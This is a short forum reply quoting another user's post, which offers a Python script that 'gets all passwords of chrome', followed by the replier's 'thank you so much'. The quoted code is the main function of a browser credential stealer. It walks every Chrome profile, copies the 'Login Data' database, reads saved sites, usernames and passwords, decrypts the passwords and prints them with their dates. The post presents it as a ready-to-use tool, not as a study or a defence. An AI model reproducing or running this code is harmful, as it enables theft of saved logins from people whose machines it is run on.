12-11-2024, 06:59 PM
(12-25-2023, 09:37 PM)discordlate Wrote: A phyton script to get all passwords of chrome.
Main function:
def main(): key = get_encryption_key() profiles_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data") profiles = [os.path.join(profiles_path, p) for p in os.listdir(profiles_path) if os.path.isdir(os.path.join(profiles_path, p)) and "Profile" in p] for profile in profiles: try: filename = os.path.join(profile, "Login Data") shutil.copyfile(filename, "ChromeData.db") db = sqlite3.connect("ChromeData.db") cursor = db.cursor() cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}") print(f"Action URL: {action_url}") print(f"Username: {username}") print(f"Password: {password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") print("="*50) cursor.close() db.close() try: os.remove("ChromeData.db") except: pass except Exception as e: print(f"Error accessing '{profile}': {str(e)}")
thank you so much
